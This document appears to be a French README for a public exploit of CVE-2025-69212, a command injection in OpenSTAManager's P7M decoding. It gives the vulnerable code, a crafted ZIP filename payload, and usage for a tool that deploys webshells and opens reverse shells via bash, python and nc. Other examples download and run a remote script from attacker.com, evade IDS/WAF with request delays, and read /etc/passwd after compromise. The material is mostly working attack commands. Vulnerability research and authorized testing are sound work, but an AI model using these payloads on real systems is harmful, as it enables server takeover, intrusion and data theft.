OpenSTAManager v2.9.8 et versions antérieures contiennent une vulnérabilité critique d'injection de commandes système dans la fonction de décodage des fichiers P7M (XML signé).
| Champ | Détails |
|---|
| CVE ID | CVE-2025-69212 |
| Sévérité | CRITIQUE (CVSS 4.0: 9.4) |
| CWE | CWE-78: Injection de commandes OS |
| Versions affectées | OpenSTAManager <= 2.9.8 |
| Fonction vulnérable | XML::decodeP7M() dans src/Util/XML.php |
| Vecteur d'attaque | Nom de fichier malveillant dans une archive ZIP téléchargée |
| Authentification | Requis (tout utilisateur ayant accès à l'import de factures) |
| Impact | Exécution complète de code à distance en tant qu'utilisateur du serveur web |
OpenSTAManager v2.9.8 et versions antérieures contiennent une vulnérabilité critique d'injection de commandes OS dans la fonction de décodage des fichiers P7M (XML signé). La méthode decodeP7M() dans src/Util/XML.php transmet les noms de fichiers contrôlés par l'utilisateur directement à la fonction exec() de PHP sans assainissement, permettant à des attaquants authentifiés d'exécuter des commandes système arbitraires sur le serveur.
// src/Util/XML.php:100
public static function decodeP7M($file)
{
$directory = pathinfo($file, PATHINFO_DIRNAME);
$output_file = $directory.'/'.basename($file, '.p7m');
exec('openssl smime -verify -noverify -in "'.$file.'" -inform DER -out "'.$output_file.'"', $output, $cmd);
}
Le paramètre $file — qui provient des noms de fichiers dans les archives ZIP téléchargées — est entouré de guillemets doubles mais jamais assaini avec escapeshellarg(). Un attaquant peut concevoir un nom de fichier .p7m qui échappe au contexte des guillemets doubles et injecte des commandes shell arbitraires.
plugins/importFE_ZIP/actions.php:126 — Vecteur principal lors du traitement des téléchargements ZIP contenant des factures électroniquesplugins/importFE/src/FatturaElettronica.php:56 — Constructeur qui traite les fichiers .p7m individuels| Fonctionnalité | Description |
|---|---|
--check | Vérifier si la cible est vulnérable (crée et vérifie un fichier marqueur) |
--webshell | Déployer une webshell PHP via injection de commandes OS |
--rce | Exécution de commande interactive via webshell déployé |
--reverse-shell | Déclencher un reverse shell (méthodes python, nc, nc-e) |
--cmd | Exécution de commande aveugle (fire-and-forget) |
--shell-dir | Répertoire d'écriture personnalisé pour webshell |
--method | Sélection de méthode de reverse shell |
--proxy | Support proxy HTTP (Burp Suite) |
--delay | Limitation des requêtes pour évasion IDS/WAF |
| Auto-détection | Détection automatique des IDs de module/plugin importFE_ZIP |
git clone https://github.com/BridgerAlderson/CVE-2025-69212.git
cd CVE-2025-69212
pip install requests
# Connexion avec identifiants
python3 exploit.py -t http://target.com -u admin -p secret --check
# Utiliser un cookie de session existant
python3 exploit.py -t http://target.com -c <PHPSESSID_VALUE> --check
# Détection automatique du plugin et vérification de la vulnérabilité
python3 exploit.py -t http://target.com -u admin -p secret --check
# Avec IDs de module/plugin connus
python3 exploit.py -t http://target.com -u admin -p secret --check --module-id 14 --plugin-id 23
# Déployer webshell dans le répertoire par défaut (files/)
python3 exploit.py -t http://target.com -u admin -p secret --webshell
# Répertoire et nom de fichier personnalisés
python3 exploit.py -t http://target.com -u admin -p secret --webshell --shell-dir uploads --shell-name .config.php
# Déployer webshell + shell interactif
python3 exploit.py -t http://target.com -u admin -p secret --rce
# Avec webshell existant d'une exécution précédente
python3 exploit.py -t http://target.com -u admin -p secret --webshell --rce
# Reverse shell bash (par défaut, très fiable)
python3 exploit.py -t http://target.com -u admin -p secret --reverse-shell 10.10.14.5 4444
# Reverse shell python
python3 exploit.py -t http://target.com -u admin -p secret --reverse-shell 10.10.14.5 4444 --method python
# Netcat avec mkfifo
python3 exploit.py -t http://target.com -u admin -p secret --reverse-shell 10.10.14.5 4444 --method nc
# Netcat avec option -e
python3 exploit.py -t http://target.com -u admin -p secret --reverse-shell 10.10.14.5 4444 --method nc-e
# Exécuter une commande (aucun retour affiché)
python3 exploit.py -t http://target.com -u admin -p secret --cmd "id"
# Télécharger et exécuter une charge utile
python3 exploit.py -t http://target.com -u admin -p secret --cmd "cd tmp && wget http://attacker.com/shell.sh && bash shell.sh"
# Via proxy Burp Suite
python3 exploit.py -t http://target.com -u admin -p secret --webshell --proxy http://127.0.0.1:8080
# Avec délai entre requêtes (2 secondes)
python3 exploit.py -t http://target.com -u admin -p secret --check --delay 2
# Ignorer la vérification SSL
python3 exploit.py -t https://target.com -u admin -p secret --check -k
Target:
-t, --target URL de base de la cible
Authentification:
-u, --user Nom d'utilisateur pour connexion
-p, --password Mot de passe pour connexion
-c, --cookie Valeur PHPSESSID existante
Actions:
--check Vérifier si la cible est vulnérable
--webshell Déployer une webshell PHP
--rce Shell interactif via webshell
--reverse-shell Reverse shell (LHOST LPORT)
--cmd COMMAND Exécution de commande aveugle
Options de shell:
--shell-dir DIR Répertoire d'écriture de la webshell (défaut: files)
--shell-name NAME Nom de fichier personnalisé pour webshell
--method METHOD Méthode de reverse shell: bash, python, nc, nc-e
Détection de plugin:
--module-id ID ID du module OpenSTAManager
--plugin-id ID ID du plugin importFE_ZIP
Réseau:
--proxy URL URL du proxy HTTP
-k, --no-ssl-verify Désactiver la vérification SSL
--delay SECONDS Délai entre les requêtes
L'exploit crée une archive ZIP contenant un seul fichier .p7m avec un nom de fichier malveillant :
invoice.p7m";INJECTED_COMMAND;echo ".p7m
Lorsque OpenSTAManager traite ce fichier, l'appel exec() résultant devient :
openssl smime -verify -noverify -in "invoice.p7m";INJECTED_COMMAND;echo ".p7m" -inform DER -out "..."
Le shell interprète les points-virgules comme séparateurs de commandes, exécutant la commande injectée entre l'appel openssl terminé et le echo final.
Critique :
ZipArchive::extractTo()de PHP traite les barres obliques (/) dans les noms de fichiers comme séparateurs de répertoires selon la spécification ZIP. Tout/dans le nom de fichier malveillant entraînera la division de l'entrée de l'archive en répertoires, cassant la charge utile de l'exploit.
Toutes les commandes injectées doivent éviter complètement /. Pour contourner complètement cette restriction et empêcher PHP exec() de se bloquer (ce qui peut immobiliser les workers du serveur et provoquer des timeouts), l'exploit enveloppe désormais automatiquement les charges utiles en Base64 et les exécute en arrière-plan :
echo <BASE64_PAYLOAD> | base64 -d | bash >/dev/null 2>&1 &
Cela permet d'utiliser / naturellement à l'intérieur de la charge utile interne (par exemple, /dev/tcp/10.10.14.5/4444) sans casser la structure ZIP.
| Méthode | Charge utile | Nécessite |
|---|---|---|
bash | bash -c 'bash -i >& /dev/tcp/H/P 0>&1' | bash |
python | python3 -c "import socket,os,subprocess;..." | Python 3 |
nc | rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc HOST PORT >/tmp/f | netcat + mkfifo |
nc-e | nc HOST PORT -e /bin/bash | netcat avec support -e |
La méthode bash est désormais la méthode par défaut car elle est la plus fiable et native sur les cibles Linux.
Télécharger ZIP via le plugin importFE_ZIP
└── actions.php dispatch vers le gestionnaire de plugin
└── ZipArchive::extractTo() extrait les fichiers
└── Itère sur les fichiers .p7m
└── XML::decodeP7M($filename)
└── exec('openssl smime ... -in "'.$filename.'"')
└── Le shell interprète les commandes injectées
1. --check → Confirmer RCE via fichier marqueur
2. --webshell → Déposer shell PHP dans le répertoire files/
3. --rce → Exécution de commande interactive
4. Énumération → id, cat /etc/passwd, ifconfig
5. Pivot → Reverse shell vers l'attaquant, post-exploitation
Cet outil est fourni uniquement à des fins de tests de sécurité autorisés et d'éducation. L'accès non autorisé aux systèmes informatiques est illégal. Obtenez toujours une autorisation appropriée avant de tester. L'auteur décline toute responsabilité en cas d'utilisation abusive.